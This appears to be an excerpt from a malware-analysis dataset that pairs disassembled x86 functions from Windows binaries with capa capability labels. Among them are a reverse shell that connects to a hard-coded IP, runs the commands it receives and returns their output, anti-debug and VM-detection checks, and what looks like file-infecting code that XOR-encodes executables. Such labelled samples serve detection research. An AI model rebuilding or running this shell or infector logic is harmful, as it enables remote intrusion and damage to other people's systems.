joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402680
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402838
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4028d0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4028b0
xor eax, eax
push ebp
push 0x4028a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4028ec
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4028b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409018], ax
mov esp, ebp
pop ebp
ret

Function at 0x402f18
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x402f79
cmp word [0x40a208], 0xd7b2
jne 0x402f41
cmp dword [0x40a210], 0
jbe 0x402f41
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402fa0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409024], 0
jne 0x402f95
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403cb4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403d1a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004031f4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040269c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403d04
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403d21
lea eax, [ebp - 0x10]
call fcn.00403094
ret

Function at 0x404f90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x404ffa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
call fcn.004031c4
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.00404db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405001
lea eax, [ebp - 0x10c]
call fcn.00403094
ret
Function at 0x405008
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405072
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
call fcn.004031c4
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.00404db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405079
lea eax, [ebp - 0x10c]
call fcn.00403094
ret

Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4070a1
mov eax, 0xff
call fcn.00402680
xor byte [esi], al
inc esi
dec ebx
jne 0x407091
pop esi
pop ebx
ret
Function at 0x4071d0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xa
add esp, 0xfffff004
push eax
dec eax
jne 0x4071d9
mov eax, dword [ebp - 4]
add esp, 0xfffffde8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0xa21c], edx
mov dword [ebp - 0xa218], edx
mov dword [ebp - 0xa214], edx
mov dword [ebp - 0xa210], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x40748c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0xa210]
mov edx, 0x4091c0
mov ecx, 3
call fcn.004031f4
mov edx, dword [ebp - 0xa210]
mov eax, dword [ebp - 4]
call fcn.00406fe4
test al, al
je 0x407466
lea edx, [ebp - 0xa214]
mov eax, dword [ebp - 4]
call fcn.00404f34
mov edx, dword [ebp - 0xa214]
lea eax, [ebp - 4]
call fcn.0040312c
lea eax, [ebp - 0xa218]
call fcn.00404f90
mov eax, dword [ebp - 0xa218]
call fcn.0040340c
push eax
mov eax, dword [ebp - 4]
call fcn.0040340c
mov ebx, eax
mov eax, ebx
pop edx
call fcn.00404b38
test al, al
jne 0x407466
lea eax, [ebp - 0xa21c]
call fcn.00405008
mov eax, dword [ebp - 0xa21c]
call fcn.0040340c
push eax
mov eax, ebx
pop edx
call fcn.00404b38
test al, al
jne 0x407466
mov edx, dword [ebp - 4]
mov eax, 0x4074a8
call fcn.004034ec
cmp eax, 3
je 0x407466
mov eax, dword [ebp - 4]
call fcn.00404f6c
cmp eax, 0xa200
jbe 0x407466
cmp eax, 0x989680
ja 0x407466
mov eax, dword [ebp - 4]
call fcn.00407130
test al, al
jne 0x407466
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
call fcn.0040340c
mov ebx, eax
push ebx
call fcn.00404070
mov edi, eax
test edi, 1
jbe 0x40732f
push 0
push ebx
call sub.kernel32.dll_SetFileAttributesA
call fcn.00405bdc
mov ebx, eax
call fcn.004064cc
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 4]
call fcn.00406ca8
mov eax, esi
mov edx, ebx
call fcn.00406510
mov edx, 0x16
mov eax, ebx
call fcn.00405974
mov eax, 0x4135e8
mov edx, 0x10a8
call fcn.00404198
mov edx, 0x4135e8
mov ecx, 0x10a8
mov eax, ebx
call fcn.00405988
mov eax, ebx
call fcn.00404520
mov eax, esi
call fcn.00404520
mov edx, 0xc0000303
mov eax, dword [ebp - 4]
call fcn.00404b68
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407448
lea edx, [ebp - 0xa20c]
mov ecx, 2
mov eax, ebx
call fcn.00404bc4
cmp byte [ebp - 0xa20c], 0x4d
jne 0x407448
cmp byte [ebp - 0xa20b], 0x5a
jne 0x407448
xor ecx, ecx
xor edx, edx
mov eax, ebx
call fcn.00404bb4
lea edx, [ebp - 0xa20c]
mov ecx, 0xa200
mov eax, ebx
call fcn.00404bc4
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x9d3a]
mov ecx, 4
call fcn.0040254c
lea eax, [ebp - 0xa20c]
mov ecx, dword [ebp - 0xc]
mov edx, 0x3e8
call fcn.00407080
xor ecx, ecx
xor edx, edx
mov eax, ebx
call fcn.00404bb4
mov edx, 0x40a698
mov ecx, 0xa200
mov eax, ebx
call fcn.00404be0
mov cl, 2
xor edx, edx
mov eax, ebx
call fcn.00404bb4
lea edx, [ebp - 0xa20c]
mov ecx, 0xa200
mov eax, ebx
call fcn.00404be0
mov eax, ebx
call fcn.00404b90
test edi, 1
jbe 0x407466
push edi
mov eax, dword [ebp - 4]
call fcn.0040340c
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407493
lea eax, [ebp - 0xa21c]
mov edx, 4
call fcn.004030b8
lea eax, [ebp - 4]
call fcn.00403094
ret
Function at 0x407bd4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xa
add esp, 0xfffff004
push eax
dec eax
jne 0x407bdd
mov eax, dword [ebp - 4]
add esp, 0xfffffdf0
push ebx
xor edx, edx
mov dword [ebp - 0xa214], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407d8d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xa214]
mov edx, 0x4091c0
mov ecx, 3
call fcn.004031f4
mov edx, dword [ebp - 0xa214]
mov eax, dword [ebp - 4]
call fcn.00406fe4
test al, al
je 0x407d6c
mov eax, dword [ebp - 4]
mov al, byte [eax]
call fcn.0040258c
add al, 0xbf
sub al, 2
jb 0x407d6c
sub al, 0x19
je 0x407d6c
mov eax, dword [ebp - 4]
call fcn.00407ad0
mov eax, dword [ebp - 4]
call fcn.00407130
test al, al
je 0x407d6c
mov eax, dword [ebp - 4]
call fcn.0040340c
mov ebx, eax
push ebx
call fcn.00404070
mov dword [ebp - 8], eax
test dword [ebp - 8], 1
jbe 0x407c95
push 0
push ebx
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 4]
call fcn.00405b84
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x407d4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.0040597c
mov edx, eax
sub edx, 0xa200
mov eax, dword [ebp - 0xc]
call fcn.00405974
lea edx, [ebp - 0xa210]
mov eax, dword [ebp - 0xc]
mov ecx, 0xa200
call fcn.00405988
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x9d3e]
mov ecx, 4
call fcn.0040254c
lea eax, [ebp - 0xa210]
mov ecx, dword [ebp - 0x10]
mov edx, 0x3e8
call fcn.00407080
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00405974
lea edx, [ebp - 0xa210]
mov eax, dword [ebp - 0xc]
mov ecx, 0xa200
call fcn.0040598c
mov eax, dword [ebp - 0xc]
call fcn.0040597c
mov edx, eax
sub edx, 0xa200
mov eax, dword [ebp - 0xc]
call fcn.00405980
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d51
mov eax, dword [ebp - 0xc]
call fcn.00404520
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d94
lea eax, [ebp - 0xa214]
call fcn.00403094
lea eax, [ebp - 4]
call fcn.00403094
ret
Function at 0x10571058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.105711a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1057107e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1057106a
add dl, dl
jne 0x10571089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105710dc
xor eax, eax
add dl, dl
jne 0x10571096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1057117d
add dl, dl
jne 0x105710a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105710b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105710bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105710c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105710d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10571075
mov eax, 1
add dl, dl
jne 0x105710ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105710f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105710e1
sub eax, ebx
mov ebx, 1
jne 0x10571128
mov ecx, 1
add dl, dl
jne 0x1057110e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10571119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10571105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10571075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1057113f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1057114a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10571136
cmp eax, 0x7d00
jae 0x1057116d
cmp eax, 0x500
jb 0x10571168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10571075
cmp eax, 0x7f
ja 0x10571170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10571075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1057119e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10571075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x402000
Capabilities:
Encode data using xor

Disassembly:
call dword [sym.imp.kernel32.dll_GetACP]
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
call fcn.0040142a
push 0x7eff
push 0
jmp loc.00409000
Function at 0x401568
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d8
mov dword [ebp - 0xc], str.192.168.147.185
mov dword [ebp - 0x10], 0x4d2
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x4015ad
mov dword [esp], str.WSAStartup_failed.
call sym._puts
jmp 0x40179c
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4015eb
mov dword [esp], str.Socket_creation_failed.
call sym._puts
call sym._WSACleanup_0
jmp 0x40179c
mov word [ebp - 0x1bc], 2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x10]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1ba], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1bc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x401669
mov dword [esp], str.Connection_failed.
call sym._puts
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x40179c
mov dword [esp], str.Connected_to_attacker_machine.
call sym._puts
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ff
lea eax, [ebp - 0x5bc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4016b7
mov dword [esp], str.Error_receiving_data.
call sym._puts
jmp 0x401789
cmp dword [ebp - 0x18], 0
jne 0x4016ce
mov dword [esp], str.Connection_closed_by_the_server.
call sym._puts
jmp 0x401789
lea edx, [ebp - 0x5bc]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0
mov dword [esp + 4], 0x40610d
lea eax, [ebp - 0x5bc]
mov dword [esp], eax
call sym.__popen
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401758
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x18
mov dword [esp + 4], str.Error_executing_command._n
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
jmp 0x401675
lea eax, [ebp - 0x5bc]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x5bc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x5bc]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x401726
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.__pclose
jmp 0x401675
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
leave
ret
Function at 0x4017b6
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call sym.___main
call sym._IsDebuggerPresent_0
test eax, eax
je 0x4017e1
mov dword [esp], 0
call sym._ExitProcess_4
mov dword [esp], str.C:WindowsSystem32_vmmemctl.sys
call sym._GetFileAttributesA_4
sub esp, 4
cmp eax, 0xffffffff
je 0x401801
mov dword [esp], 0
call sym._ExitProcess_4
call sym._delayedExecution
mov byte [ebp - 0xc], 0x9f
mov byte [ebp - 0xb], 0xab
mov byte [ebp - 0xa], 0xa5
mov byte [ebp - 9], 0xb4
mov dword [esp + 4], 4
lea eax, [ebp - 0xc]
mov dword [esp], eax
call sym._decryptCode
call sym._createReverseShell
mov dword [ebp - 0x21], 0x776c614d
mov dword [ebp - 0x1d], 0x20657261
mov dword [ebp - 0x19], 0x6c796170
mov dword [ebp - 0x15], 0x2064616f
mov dword [ebp - 0x11], 0x65726568
mov byte [ebp - 0xd], 0
mov dword [esp + 4], 0x14
lea eax, [ebp - 0x21]
mov dword [esp], eax
call sym._simpleEncryption
lea eax, [ebp - 0x21]
mov dword [esp + 4], eax
mov dword [esp], str.Encrypted_data_using_XOR:__s_n
call sym._printf
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401f10
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x401f5b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401f54
test esi, esi
je 0x401f54
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f30
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402140
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402190
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402268
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021ce
cmp eax, 4
jne 0x4021f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4021de
cmp edx, 4
je 0x4021de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402140
Function at 0xa1b4e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00a1c220
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00a1c220
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0xa1b540
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xa20074]
test esi, esi
jle 0xa1b660
mov eax, dword [0xa20078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0xa1b574
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0xa1b5f7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0xa1b560
mov dword [esp], ebx
call fcn.00a1bf30
mov edi, eax
test eax, eax
je 0xa1b687
mov eax, dword [0xa20078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00a1c070
mov edx, dword [0xa20078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0xa1b667
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0xa1b5f0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0xa1b600
add dword [0xa20074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xa20078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0xa1b5f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00a1b4e0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0xa1b57e
mov eax, dword [0xa20078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00a1b4e0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00a1b4e0
lea esi, [esi]
nop
Function at 0xa1bba0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xa20090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xa20088]
sub esp, 4
test ebx, ebx
je 0xa1bbf5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0xa1bbee
test esi, esi
je 0xa1bbee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0xa1bbd0
mov dword [esp], 0xa20090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0xa1bf30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0xa1bf55
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0xa1bf60
ret
cmp word [ecx + 0x400018], 0x10b
jne 0xa1bf55
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0xa1bfa8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xa1bf9e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0xa1bfaa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0xa1bf90
xor eax, eax
pop ebx
pop esi
ret